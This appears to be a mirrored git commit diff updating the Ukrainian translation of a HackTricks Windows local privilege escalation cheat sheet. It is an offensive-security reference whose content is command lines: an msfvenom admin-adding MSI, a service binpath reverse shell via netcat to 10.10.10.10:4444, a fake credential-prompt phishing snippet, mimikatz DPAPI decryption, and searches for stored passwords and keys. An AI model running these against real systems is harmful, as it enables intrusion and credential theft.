mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-21 20:23:18 +00:00
Translated ['windows-hardening/windows-local-privilege-escalation/README
This commit is contained in:
parent
d8935aa511
commit
35dfa4bc5a
1 changed files with 65 additions and 61 deletions
|
@ -45,7 +45,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
## Контроль безпеки Windows
|
||||
|
||||
Є різні речі в Windows, які можуть **перешкоджати вам перераховувати систему**, запускати виконувані файли або навіть **виявляти вашу діяльність**. Вам слід **прочитати** наступну **сторінку** та **перерахувати** всі ці **механізми захисту** **перед початком перерахунку підвищення привілеїв:**
|
||||
Є різні речі в Windows, які можуть **перешкоджати вам перераховувати систему**, запускати виконувані файли або навіть **виявляти вашу діяльність**. Вам слід **прочитати** наступну **сторінку** та **перерахувати** всі ці **механізми** **захисту** перед початком перерахунку підвищення привілеїв:
|
||||
|
||||
{% content-ref url="../authentication-credentials-uac-and-efs/" %}
|
||||
[authentication-credentials-uac-and-efs](../authentication-credentials-uac-and-efs/)
|
||||
|
@ -110,7 +110,7 @@ cat (Get-PSReadlineOption).HistorySavePath | sls passw
|
|||
```
|
||||
### PowerShell Transcript files
|
||||
|
||||
Ви можете дізнатися, як це увімкнути, за посиланням [https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/](https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/)
|
||||
Ви можете дізнатися, як це увімкнути за посиланням [https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/](https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/)
|
||||
```bash
|
||||
#Check is enable in the registry
|
||||
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\Transcription
|
||||
|
@ -140,7 +140,7 @@ Get-WinEvent -LogName "windows Powershell" | select -First 15 | Out-GridView
|
|||
```
|
||||
### PowerShell **Script Block Logging**
|
||||
|
||||
Повний запис активності та вмісту виконання скрипта фіксується, забезпечуючи документування кожного блоку коду під час його виконання. Цей процес зберігає всебічний аудит кожної активності, що є цінним для судової експертизи та аналізу злочинної поведінки. Документуючи всю активність під час виконання, надаються детальні відомості про процес.
|
||||
Повний запис активності та вмісту виконання скрипта фіксується, що забезпечує документування кожного блоку коду під час його виконання. Цей процес зберігає всебічний аудит кожної активності, що є цінним для судової експертизи та аналізу злочинної поведінки. Документуючи всю активність під час виконання, надаються детальні відомості про процес.
|
||||
```bash
|
||||
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
|
||||
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
|
||||
|
@ -195,11 +195,11 @@ WUServer REG_SZ http://xxxx-updxx.corp.internal.com:8535
|
|||
>
|
||||
> Більше того, оскільки служба WSUS використовує налаштування поточного користувача, вона також використовуватиме його сховище сертифікатів. Якщо ми згенеруємо самопідписаний сертифікат для імені хоста WSUS і додамо цей сертифікат у сховище сертифікатів поточного користувача, ми зможемо перехоплювати як HTTP, так і HTTPS трафік WSUS. WSUS не використовує механізми, подібні до HSTS, для реалізації валідації типу довіри при першому використанні на сертифікаті. Якщо сертифікат, що представляється, довіряється користувачем і має правильне ім'я хоста, він буде прийнятий службою.
|
||||
|
||||
Ви можете експлуатувати цю вразливість, використовуючи інструмент [**WSUSpicious**](https://github.com/GoSecure/wsuspicious) (як тільки він буде звільнений).
|
||||
Ви можете експлуатувати цю вразливість, використовуючи інструмент [**WSUSpicious**](https://github.com/GoSecure/wsuspicious) (якщо він буде звільнений).
|
||||
|
||||
## KrbRelayUp
|
||||
|
||||
В **локальному підвищенні привілеїв** існує вразливість у середовищах **домену** за певних умов. Ці умови включають середовища, де **підписування LDAP не є обов'язковим,** користувачі мають самостійні права, що дозволяють їм налаштовувати **обмежену делегацію на основі ресурсів (RBCD),** та можливість для користувачів створювати комп'ютери в домені. Важливо зазначити, що ці **вимоги** виконуються за допомогою **налаштувань за замовчуванням**.
|
||||
В **локальному підвищенні привілеїв** існує вразливість у Windows **доменних** середовищах за певних умов. Ці умови включають середовища, де **підписування LDAP не є обов'язковим,** користувачі мають самостійні права, що дозволяють їм налаштовувати **обмежену делегацію на основі ресурсів (RBCD),** та можливість для користувачів створювати комп'ютери в домені. Важливо зазначити, що ці **вимоги** виконуються за допомогою **налаштувань за замовчуванням**.
|
||||
|
||||
Знайдіть **експлойт у** [**https://github.com/Dec0ne/KrbRelayUp**](https://github.com/Dec0ne/KrbRelayUp)
|
||||
|
||||
|
@ -221,7 +221,7 @@ msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi -o alwe.ms
|
|||
|
||||
### PowerUP
|
||||
|
||||
Використовуйте команду `Write-UserAddMSI` з power-up, щоб створити в поточному каталозі Windows MSI бінарник для ескалації привілеїв. Цей скрипт генерує попередньо скомпільований MSI інсталятор, який запитує додавання користувача/групи (тому вам знадобиться доступ GIU):
|
||||
Використовуйте команду `Write-UserAddMSI` з power-up, щоб створити в поточному каталозі Windows MSI бінарний файл для ескалації привілеїв. Цей скрипт створює попередньо скомпільований MSI інсталятор, який запитує додавання користувача/групи (тому вам знадобиться доступ GIU):
|
||||
```
|
||||
Write-UserAddMSI
|
||||
```
|
||||
|
@ -262,7 +262,7 @@ Write-UserAddMSI
|
|||
```
|
||||
msiexec /quiet /qn /i C:\Users\Steve.INFERNO\Downloads\alwe.msi
|
||||
```
|
||||
Щоб використати цю вразливість, ви можете використовувати: _exploit/windows/local/always\_install\_elevated_
|
||||
Щоб експлуатувати цю вразливість, ви можете використовувати: _exploit/windows/local/always\_install\_elevated_
|
||||
|
||||
## Антивірус та детектори
|
||||
|
||||
|
@ -295,7 +295,7 @@ reg query 'HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest' /v U
|
|||
```
|
||||
### Захист LSA
|
||||
|
||||
Починаючи з **Windows 8.1**, Microsoft впровадила покращений захист для Локальної служби безпеки (LSA), щоб **блокувати** спроби ненадійних процесів **читати її пам'ять** або впроваджувати код, додатково захищаючи систему.\
|
||||
Починаючи з **Windows 8.1**, Microsoft впровадила покращений захист для Локального органу безпеки (LSA), щоб **блокувати** спроби ненадійних процесів **читати його пам'ять** або впроваджувати код, додатково захищаючи систему.\
|
||||
[**Більше інформації про захист LSA тут**](../stealing-credentials/credentials-protections.md#lsa-protection).
|
||||
```bash
|
||||
reg query 'HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA' /v RunAsPPL
|
||||
|
@ -349,7 +349,7 @@ Get-LocalGroupMember Administrators | ft Name, PrincipalSource
|
|||
[privilege-escalation-abusing-tokens.md](privilege-escalation-abusing-tokens.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Увійшені користувачі / Сесії
|
||||
### Увійшли користувачі / Сесії
|
||||
```bash
|
||||
qwinsta
|
||||
klist sessions
|
||||
|
@ -367,12 +367,12 @@ net accounts
|
|||
```bash
|
||||
powershell -command "Get-Clipboard"
|
||||
```
|
||||
## Запущені процеси
|
||||
## Running Processes
|
||||
|
||||
### Дозволи на файли та папки
|
||||
### File and Folder Permissions
|
||||
|
||||
По-перше, перерахування процесів **перевіряє наявність паролів у командному рядку процесу**.\
|
||||
Перевірте, чи можете ви **перезаписати деякий запущений бінар** або чи маєте ви права на запис у папку з бінарними файлами для використання можливих [**DLL Hijacking атак**](dll-hijacking/):
|
||||
По-перше, перерахування процесів **перевіряє наявність паролів всередині командного рядка процесу**.\
|
||||
Перевірте, чи можете ви **перезаписати деякий виконуваний файл**, або чи маєте ви права на запис у папці з виконуваними файлами, щоб використати можливі [**DLL Hijacking attacks**](dll-hijacking/):
|
||||
```bash
|
||||
Tasklist /SVC #List processes running and services
|
||||
tasklist /v /fi "username eq system" #Filter "system" processes
|
||||
|
@ -383,7 +383,7 @@ Get-WmiObject -Query "Select * from Win32_Process" | where {$_.Name -notlike "sv
|
|||
#Without usernames
|
||||
Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id
|
||||
```
|
||||
Завжди перевіряйте наявність можливих [**electron/cef/chromium дебаггерів** які працюють, ви можете зловживати цим для ескалації привілеїв](../../linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse.md).
|
||||
Завжди перевіряйте наявність можливих [**electron/cef/chromium дебагерів** які працюють, ви можете зловживати цим для ескалації привілеїв](../../linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse.md).
|
||||
|
||||
**Перевірка дозволів бінарних файлів процесів**
|
||||
```bash
|
||||
|
@ -410,9 +410,9 @@ procdump.exe -accepteula -ma <proc_name_tasklist>
|
|||
```
|
||||
### Небезпечні GUI додатки
|
||||
|
||||
**Додатки, що працюють під обліковим записом SYSTEM, можуть дозволити користувачу запустити CMD або переглядати каталоги.**
|
||||
**Додатки, що працюють як SYSTEM, можуть дозволити користувачу запустити CMD або переглядати каталоги.**
|
||||
|
||||
Приклад: "Довідка та підтримка Windows" (Windows + F1), знайдіть "командний рядок", натисніть "Натисніть, щоб відкрити командний рядок"
|
||||
Приклад: "Довідка та підтримка Windows" (Windows + F1), шукайте "командний рядок", натисніть "Натисніть, щоб відкрити командний рядок"
|
||||
|
||||
## Служби
|
||||
|
||||
|
@ -456,7 +456,7 @@ sc config SSDPSRV obj= ".\LocalSystem" password= ""
|
|||
```
|
||||
**Врахуйте, що служба upnphost залежить від SSDPSRV для роботи (для XP SP1)**
|
||||
|
||||
**Ще один обхідний шлях** цієї проблеми - запустити:
|
||||
**Ще один обхідний шлях** цієї проблеми - виконати:
|
||||
```
|
||||
sc.exe config usosvc start= auto
|
||||
```
|
||||
|
@ -470,7 +470,7 @@ sc config <Service_Name> binpath= "cmd \c C:\Users\nc.exe 10.10.10.10 4444 -e cm
|
|||
|
||||
sc config SSDPSRV binpath= "C:\Documents and Settings\PEPE\meter443.exe"
|
||||
```
|
||||
### Перезапустіть службу
|
||||
### Перезапустити службу
|
||||
```bash
|
||||
wmic service NAMEOFSERVICE call startservice
|
||||
net stop [service name] && net start [service name]
|
||||
|
@ -487,8 +487,8 @@ net stop [service name] && net start [service name]
|
|||
|
||||
### Слабкі дозволи бінарних файлів служб
|
||||
|
||||
**Перевірте, чи можете ви змінити бінарний файл, який виконується службою** або чи маєте ви **права на запис у папці**, де знаходиться бінарний файл ([**DLL Hijacking**](dll-hijacking/))**.**\
|
||||
Ви можете отримати кожен бінарний файл, який виконується службою, використовуючи **wmic** (не в system32) і перевірити свої дозволи за допомогою **icacls**:
|
||||
**Перевірте, чи можете ви змінити бінарний файл, який виконується службою** або чи маєте ви **дозволи на запис у папці**, де знаходиться бінарний файл ([**DLL Hijacking**](dll-hijacking/))**.**\
|
||||
Ви можете отримати кожен бінарний файл, який виконується службою, використовуючи **wmic** (не в system32) і перевірити свої дозволи, використовуючи **icacls**:
|
||||
```bash
|
||||
for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> %temp%\perm.txt
|
||||
|
||||
|
@ -518,9 +518,9 @@ get-acl HKLM:\System\CurrentControlSet\services\* | Format-List * | findstr /i "
|
|||
```bash
|
||||
reg add HKLM\SYSTEM\CurrentControlSet\services\<service_name> /v ImagePath /t REG_EXPAND_SZ /d C:\path\new\binary /f
|
||||
```
|
||||
### Дозволи AppendData/AddSubdirectory реєстру служб
|
||||
### Послуги реєстру Дозволи AppendData/AddSubdirectory
|
||||
|
||||
Якщо у вас є цей дозвіл над реєстром, це означає, що **ви можете створювати підреєстри з цього**. У випадку служб Windows це **досить для виконання довільного коду:**
|
||||
Якщо у вас є цей дозвіл над реєстром, це означає, що **ви можете створювати підреєстри з цього**. У випадку з Windows службами це **досить для виконання довільного коду:**
|
||||
|
||||
{% content-ref url="appenddata-addsubdirectory-permission-over-service-registry.md" %}
|
||||
[appenddata-addsubdirectory-permission-over-service-registry.md](appenddata-addsubdirectory-permission-over-service-registry.md)
|
||||
|
@ -537,11 +537,15 @@ C:\Program Files\Some.exe
|
|||
C:\Program Files\Some Folder\Service.exe
|
||||
```
|
||||
Список всіх непозначених шляхів служб, за винятком тих, що належать вбудованим службам Windows:
|
||||
```bash
|
||||
wmic service get name,displayname,pathname,startmode |findstr /i "Auto" | findstr /i /v "C:\Windows\\" |findstr /i /v """
|
||||
wmic service get name,displayname,pathname,startmode | findstr /i /v "C:\\Windows\\system32\\" |findstr /i /v """ #Not only auto services
|
||||
```powershell
|
||||
wmic service get name,pathname,displayname,startmode | findstr /i auto | findstr /i /v "C:\Windows\\" | findstr /i /v '\"'
|
||||
wmic service get name,displayname,pathname,startmode | findstr /i /v "C:\\Windows\\system32\\" |findstr /i /v '\"' # Not only auto services
|
||||
|
||||
#Other way
|
||||
# Using PowerUp.ps1
|
||||
Get-ServiceUnquoted -Verbose
|
||||
```
|
||||
|
||||
```powershell
|
||||
for /f "tokens=2" %%n in ('sc query state^= all^| findstr SERVICE_NAME') do (
|
||||
for /f "delims=: tokens=1*" %%r in ('sc qc "%%~n" ^| findstr BINARY_PATH_NAME ^| findstr /i /v /l /c:"c:\windows\system32" ^| findstr /v /c:""""') do (
|
||||
echo %%~s | findstr /r /c:"[a-Z][ ][a-Z]" >nul 2>&1 && (echo %%n && echo %%~s && icacls %%s | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%") && echo.
|
||||
|
@ -549,7 +553,7 @@ echo %%~s | findstr /r /c:"[a-Z][ ][a-Z]" >nul 2>&1 && (echo %%n && echo %%~s &&
|
|||
)
|
||||
```
|
||||
|
||||
```bash
|
||||
```powershell
|
||||
gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.StartMode -eq "Auto" -and $_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,Name
|
||||
```
|
||||
**Ви можете виявити та експлуатувати** цю вразливість за допомогою metasploit: `exploit/windows/local/trusted\_service\_path` Ви можете вручну створити бінарний файл служби за допомогою metasploit:
|
||||
|
@ -603,7 +607,7 @@ Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Ac
|
|||
### Запуск при старті
|
||||
|
||||
**Перевірте, чи можете ви перезаписати деякі реєстраційні або бінарні файли, які будуть виконані іншим користувачем.**\
|
||||
**Прочитайте** **наступну сторінку**, щоб дізнатися більше про цікаві **місця авторунів для ескалації привілеїв**:
|
||||
**Прочитайте** **наступну сторінку**, щоб дізнатися більше про цікаві **місця автозапуску для ескалації привілеїв**:
|
||||
|
||||
{% content-ref url="privilege-escalation-with-autorun-binaries.md" %}
|
||||
[privilege-escalation-with-autorun-binaries.md](privilege-escalation-with-autorun-binaries.md)
|
||||
|
@ -611,7 +615,7 @@ Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Ac
|
|||
|
||||
### Драйвери
|
||||
|
||||
Шукайте можливі **сторонні дивні/вразливі** драйвери
|
||||
Шукайте можливі **драйвери третіх сторін, які є дивними/вразливими**
|
||||
```bash
|
||||
driverquery
|
||||
driverquery.exe /fo table
|
||||
|
@ -736,9 +740,9 @@ C:\Windows\System32\runas.exe /env /noprofile /user:<username> <password> "c:\us
|
|||
|
||||
### DPAPI
|
||||
|
||||
**API захисту даних (DPAPI)** надає метод симетричного шифрування даних, переважно використовується в операційній системі Windows для симетричного шифрування асиметричних приватних ключів. Це шифрування використовує секрети користувача або системи, щоб значно сприяти ентропії.
|
||||
**API захисту даних (DPAPI)** надає метод симетричного шифрування даних, переважно використовуваний в операційній системі Windows для симетричного шифрування асиметричних приватних ключів. Це шифрування використовує секрети користувача або системи для значного внеску в ентропію.
|
||||
|
||||
**DPAPI дозволяє шифрування ключів за допомогою симетричного ключа, який отримується з секретів входу користувача**. У сценаріях, що стосуються шифрування системи, він використовує секрети аутентифікації домену системи.
|
||||
**DPAPI дозволяє шифрування ключів через симетричний ключ, який отримується з секретів входу користувача**. У сценаріях, що стосуються шифрування системи, він використовує секрети аутентифікації домену системи.
|
||||
|
||||
Зашифровані RSA ключі користувача, за допомогою DPAPI, зберігаються в каталозі `%APPDATA%\Microsoft\Protect\{SID}`, де `{SID}` представляє [ідентифікатор безпеки](https://en.wikipedia.org/wiki/Security\_Identifier) користувача. **Ключ DPAPI, розташований разом з майстер-ключем, який захищає приватні ключі користувача в одному файлі**, зазвичай складається з 64 байтів випадкових даних. (Важливо зазначити, що доступ до цього каталогу обмежений, що заважає перерахунку його вмісту за допомогою команди `dir` у CMD, хоча його можна перерахувати через PowerShell).
|
||||
```powershell
|
||||
|
@ -747,7 +751,7 @@ Get-ChildItem C:\Users\USER\AppData\Local\Microsoft\Protect\
|
|||
```
|
||||
Ви можете використовувати **mimikatz module** `dpapi::masterkey` з відповідними аргументами (`/pvk` або `/rpc`), щоб розшифрувати його.
|
||||
|
||||
**Файли облікових даних, захищені майстер-паролем**, зазвичай розташовані в:
|
||||
**Файли облікових даних, захищені головним паролем**, зазвичай розташовані в:
|
||||
```powershell
|
||||
dir C:\Users\username\AppData\Local\Microsoft\Credentials\
|
||||
dir C:\Users\username\AppData\Roaming\Microsoft\Credentials\
|
||||
|
@ -763,7 +767,7 @@ Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\
|
|||
|
||||
### PowerShell Credentials
|
||||
|
||||
**Облікові дані PowerShell** часто використовуються для **скриптів** та автоматизації як спосіб зберігати зашифровані облікові дані зручним чином. Облікові дані захищені за допомогою **DPAPI**, що зазвичай означає, що їх можна розшифрувати лише тим же користувачем на тому ж комп'ютері, на якому вони були створені.
|
||||
**Облікові дані PowerShell** часто використовуються для **скриптів** та автоматизації як спосіб зберігати зашифровані облікові дані зручно. Облікові дані захищені за допомогою **DPAPI**, що зазвичай означає, що їх можна розшифрувати лише тим же користувачем на тому ж комп'ютері, на якому вони були створені.
|
||||
|
||||
Щоб **розшифрувати** облікові дані PS з файлу, що їх містить, ви можете зробити:
|
||||
```powershell
|
||||
|
@ -787,7 +791,7 @@ cls & echo. & for /f "tokens=3,* delims=: " %a in ('netsh wlan show profiles ^|
|
|||
```
|
||||
### Збережені RDP з'єднання
|
||||
|
||||
Ви можете знайти їх за адресою `HKEY_USERS\<SID>\Software\Microsoft\Terminal Server Client\Servers\`\
|
||||
Ви можете знайти їх у `HKEY_USERS\<SID>\Software\Microsoft\Terminal Server Client\Servers\`\
|
||||
та в `HKCU\Software\Microsoft\Terminal Server Client\Servers\`
|
||||
|
||||
### Нещодавно виконані команди
|
||||
|
@ -799,7 +803,7 @@ HKCU\<SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU
|
|||
```
|
||||
%localappdata%\Microsoft\Remote Desktop Connection Manager\RDCMan.settings
|
||||
```
|
||||
Використовуйте модуль **Mimikatz** `dpapi::rdg` з відповідним `/masterkey`, щоб **розшифрувати будь-які .rdg файли**\
|
||||
Використовуйте модуль **Mimikatz** `dpapi::rdg` з відповідним `/masterkey`, щоб **дешифрувати будь-які .rdg файли**\
|
||||
Ви можете **витягнути багато DPAPI masterkeys** з пам'яті за допомогою модуля Mimikatz `sekurlsa::dpapi`
|
||||
|
||||
### Sticky Notes
|
||||
|
@ -893,7 +897,7 @@ $ErrorActionPreference = $OrigError
|
|||
### SCClient / SCCM
|
||||
|
||||
Перевірте, чи існує `C:\Windows\CCM\SCClient.exe` .\
|
||||
Інсталятори **виконуються з привілеями SYSTEM**, багато з них вразливі до **DLL Sideloading (Інформація з** [**https://github.com/enjoiz/Privesc**](https://github.com/enjoiz/Privesc)**).**
|
||||
Інсталятори **виконуються з привілеями SYSTEM**, багато з них вразливі до **DLL Sideloading (інформація з** [**https://github.com/enjoiz/Privesc**](https://github.com/enjoiz/Privesc)**).**
|
||||
```bash
|
||||
$result = Get-WmiObject -Namespace "root\ccm\clientSDK" -Class CCM_Application -Property * | select Name,SoftwareVersion
|
||||
if ($result) { $result }
|
||||
|
@ -905,7 +909,7 @@ else { Write "Not Installed." }
|
|||
```bash
|
||||
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s | findstr "HKEY_CURRENT_USER HostName PortNumber UserName PublicKeyFile PortForwardings ConnectionSharing ProxyPassword ProxyUsername" #Check the values saved in each session, user/password could be there
|
||||
```
|
||||
### Ключі хоста Putty SSH
|
||||
### Putty SSH Host Keys
|
||||
```
|
||||
reg query HKCU\Software\SimonTatham\PuTTY\SshHostKeys\
|
||||
```
|
||||
|
@ -918,7 +922,7 @@ reg query 'HKEY_CURRENT_USER\Software\OpenSSH\Agent\Keys'
|
|||
Якщо ви знайдете будь-який запис у цьому шляху, це, ймовірно, буде збережений SSH-ключ. Він зберігається в зашифрованому вигляді, але може бути легко розшифрований за допомогою [https://github.com/ropnop/windows\_sshagent\_extract](https://github.com/ropnop/windows\_sshagent\_extract).\
|
||||
Більше інформації про цю техніку тут: [https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/](https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/)
|
||||
|
||||
Якщо служба `ssh-agent` не працює і ви хочете, щоб вона автоматично запускалася при завантаженні, виконайте:
|
||||
Якщо служба `ssh-agent` не працює, і ви хочете, щоб вона автоматично запускалася під час завантаження, виконайте:
|
||||
```bash
|
||||
Get-Service ssh-agent | Set-Service -StartupType Automatic -PassThru | Start-Service
|
||||
```
|
||||
|
@ -988,9 +992,9 @@ AppData\Roaming\gcloud\access_tokens.db
|
|||
|
||||
### Cached GPP Pasword
|
||||
|
||||
Раніше була доступна функція, яка дозволяла розгортання користувацьких локальних облікових записів адміністратора на групі машин через Групові політики (GPP). Однак цей метод мав значні недоліки в безпеці. По-перше, об'єкти групової політики (GPO), збережені у вигляді XML-файлів у SYSVOL, могли бути доступні будь-якому користувачу домену. По-друге, паролі в цих GPP, зашифровані за допомогою AES256 з використанням публічно задокументованого ключа за замовчуванням, могли бути розшифровані будь-яким автентифікованим користувачем. Це становило серйозний ризик, оскільки могло дозволити користувачам отримати підвищені привілеї.
|
||||
Раніше була доступна функція, яка дозволяла розгортання користувацьких локальних облікових записів адміністратора на групі машин через Групові політики (GPP). Однак цей метод мав значні недоліки в безпеці. По-перше, об'єкти групової політики (GPO), збережені як XML файли в SYSVOL, могли бути доступні будь-якому користувачу домену. По-друге, паролі в цих GPP, зашифровані за допомогою AES256 з використанням публічно задокументованого ключа за замовчуванням, могли бути розшифровані будь-яким автентифікованим користувачем. Це становило серйозний ризик, оскільки могло дозволити користувачам отримати підвищені привілеї.
|
||||
|
||||
Щоб зменшити цей ризик, була розроблена функція для сканування локально кешованих GPP-файлів, що містять поле "cpassword", яке не є порожнім. Після знаходження такого файлу функція розшифровує пароль і повертає користувацький об'єкт PowerShell. Цей об'єкт містить деталі про GPP та місцезнаходження файлу, що допомагає в ідентифікації та усуненні цієї вразливості в безпеці.
|
||||
Щоб зменшити цей ризик, була розроблена функція для сканування локально кешованих GPP файлів, що містять поле "cpassword", яке не є порожнім. Після знаходження такого файлу функція розшифровує пароль і повертає користувацький об'єкт PowerShell. Цей об'єкт містить деталі про GPP та місцезнаходження файлу, що допомагає в ідентифікації та усуненні цієї вразливості безпеки.
|
||||
|
||||
Шукайте в `C:\ProgramData\Microsoft\Group Policy\history` або в _**C:\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\history** (до W Vista)_ ці файли:
|
||||
|
||||
|
@ -1062,9 +1066,9 @@ C:\inetpub\logs\LogFiles\*
|
|||
#Apache
|
||||
Get-Childitem –Path C:\ -Include access.log,error.log -File -Recurse -ErrorAction SilentlyContinue
|
||||
```
|
||||
### Запитати облікові дані
|
||||
### Ask for credentials
|
||||
|
||||
Ви завжди можете **попросити користувача ввести його облікові дані або навіть облікові дані іншого користувача**, якщо вважаєте, що він може їх знати (зверніть увагу, що **питати** клієнта безпосередньо про **облікові дані** дійсно **ризиковано**):
|
||||
You can always **ask the user to enter his credentials of even the credentials of a different user** if you think he can know them (notice that **asking** the client directly for the **credentials** is really **risky**):
|
||||
```bash
|
||||
$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+[Environment]::UserName,[Environment]::UserDomainName); $cred.getnetworkcredential().password
|
||||
$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+'anotherusername',[Environment]::UserDomainName); $cred.getnetworkcredential().password
|
||||
|
@ -1149,7 +1153,7 @@ Get-Childitem –Path C:\ -Include *unattend*,*sysprep* -File -Recurse -ErrorAct
|
|||
```
|
||||
### Credentials in the RecycleBin
|
||||
|
||||
Вам також слід перевірити Кошик на наявність облікових даних всередині нього
|
||||
Вам також слід перевірити Кошик на наявність облікових даних.
|
||||
|
||||
Щоб **відновити паролі**, збережені кількома програмами, ви можете використовувати: [http://www.nirsoft.net/password\_recovery\_tools.html](http://www.nirsoft.net/password\_recovery\_tools.html)
|
||||
|
||||
|
@ -1167,7 +1171,7 @@ reg query "HKCU\Software\OpenSSH\Agent\Key"
|
|||
### Історія браузерів
|
||||
|
||||
Вам слід перевірити бази даних, де зберігаються паролі з **Chrome або Firefox**.\
|
||||
Також перевірте історію, закладки та улюблені сторінки браузерів, можливо, там зберігаються деякі **паролі**.
|
||||
Також перевірте історію, закладки та улюблені сторінки браузерів, можливо, деякі **паролі зберігаються** там.
|
||||
|
||||
Інструменти для витягування паролів з браузерів:
|
||||
|
||||
|
@ -1231,7 +1235,7 @@ Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss
|
|||
## Leaked Handlers
|
||||
|
||||
Уявіть, що **процес, що працює як SYSTEM, відкриває новий процес** (`OpenProcess()`) з **повним доступом**. Той же процес **також створює новий процес** (`CreateProcess()`) **з низькими привілеями, але успадковує всі відкриті дескриптори основного процесу**.\
|
||||
Тоді, якщо у вас є **повний доступ до процесу з низькими привілеями**, ви можете отримати **відкритий дескриптор до привілейованого процесу, створеного** з `OpenProcess()` і **впровадити shellcode**.\
|
||||
Тоді, якщо у вас є **повний доступ до процесу з низькими привілеями**, ви можете захопити **відкритий дескриптор до привілейованого процесу, створеного** з `OpenProcess()` і **впровадити shellcode**.\
|
||||
[Прочитайте цей приклад для отримання додаткової інформації про **те, як виявити та експлуатувати цю вразливість**.](leaked-handle-exploitation.md)\
|
||||
[Прочитайте цей **інший пост для більш повного пояснення про те, як тестувати та зловживати більш відкритими дескрипторами процесів і потоків, успадкованими з різними рівнями дозволів (не лише з повним доступом)**](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/).
|
||||
|
||||
|
@ -1241,15 +1245,15 @@ Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss
|
|||
|
||||
Windows надає функцію, звану **Named Pipes**, що дозволяє несумісним процесам ділитися даними, навіть через різні мережі. Це нагадує архітектуру клієнт/сервер, з ролями, визначеними як **сервер іменованих труб** та **клієнт іменованих труб**.
|
||||
|
||||
Коли дані надсилаються через трубу **клієнтом**, **сервер**, який налаштував трубу, має можливість **прийняти особистість** **клієнта**, якщо у нього є необхідні **права SeImpersonate**. Виявлення **привілейованого процесу**, який спілкується через трубу, яку ви можете імітувати, надає можливість **отримати вищі привілеї**, прийнявши особистість цього процесу, як тільки він взаємодіє з трубою, яку ви створили. Інструкції щодо виконання такої атаки можна знайти в [**цьому**](named-pipe-client-impersonation.md) та [**цьому**](./#from-high-integrity-to-system) посиланнях.
|
||||
Коли дані надсилаються через трубу **клієнтом**, **сервер**, який налаштував трубу, має можливість **прийняти особистість** **клієнта**, якщо у нього є необхідні **SeImpersonate** права. Виявлення **привілейованого процесу**, який спілкується через трубу, яку ви можете імітувати, надає можливість **отримати вищі привілеї**, прийнявши особистість цього процесу, як тільки він взаємодіє з трубою, яку ви створили. Для інструкцій щодо виконання такого нападу корисні посібники можна знайти [**тут**](named-pipe-client-impersonation.md) та [**тут**](./#from-high-integrity-to-system).
|
||||
|
||||
Також наступний інструмент дозволяє **перехоплювати комунікацію іменованих труб за допомогою інструменту, як burp:** [**https://github.com/gabriel-sztejnworcel/pipe-intercept**](https://github.com/gabriel-sztejnworcel/pipe-intercept) **і цей інструмент дозволяє перерахувати та переглянути всі труби для пошуку privescs** [**https://github.com/cyberark/PipeViewer**](https://github.com/cyberark/PipeViewer)
|
||||
Також наступний інструмент дозволяє **перехоплювати комунікацію іменованих труб за допомогою інструменту, як burp:** [**https://github.com/gabriel-sztejnworcel/pipe-intercept**](https://github.com/gabriel-sztejnworcel/pipe-intercept) **і цей інструмент дозволяє перерахувати та переглянути всі труби, щоб знайти privescs** [**https://github.com/cyberark/PipeViewer**](https://github.com/cyberark/PipeViewer)
|
||||
|
||||
## Misc
|
||||
|
||||
### **Моніторинг командних рядків для паролів**
|
||||
|
||||
Коли ви отримуєте shell як користувач, можуть бути заплановані завдання або інші процеси, які **передають облікові дані в командному рядку**. Скрипт нижче захоплює командні рядки процесів кожні дві секунди та порівнює поточний стан з попереднім, виводячи будь-які відмінності.
|
||||
Коли ви отримуєте оболонку як користувач, можуть бути заплановані завдання або інші процеси, які **передають облікові дані в командному рядку**. Скрипт нижче захоплює командні рядки процесів кожні дві секунди та порівнює поточний стан з попереднім, виводячи будь-які відмінності.
|
||||
```powershell
|
||||
while($true)
|
||||
{
|
||||
|
@ -1259,9 +1263,9 @@ $process2 = Get-WmiObject Win32_Process | Select-Object CommandLine
|
|||
Compare-Object -ReferenceObject $process -DifferenceObject $process2
|
||||
}
|
||||
```
|
||||
## Вкрадення паролів з процесів
|
||||
## Вкрадання паролів з процесів
|
||||
|
||||
## Від користувача з низькими привілеями до NT\AUTHORITY SYSTEM (CVE-2019-1388) / Обхід UAC
|
||||
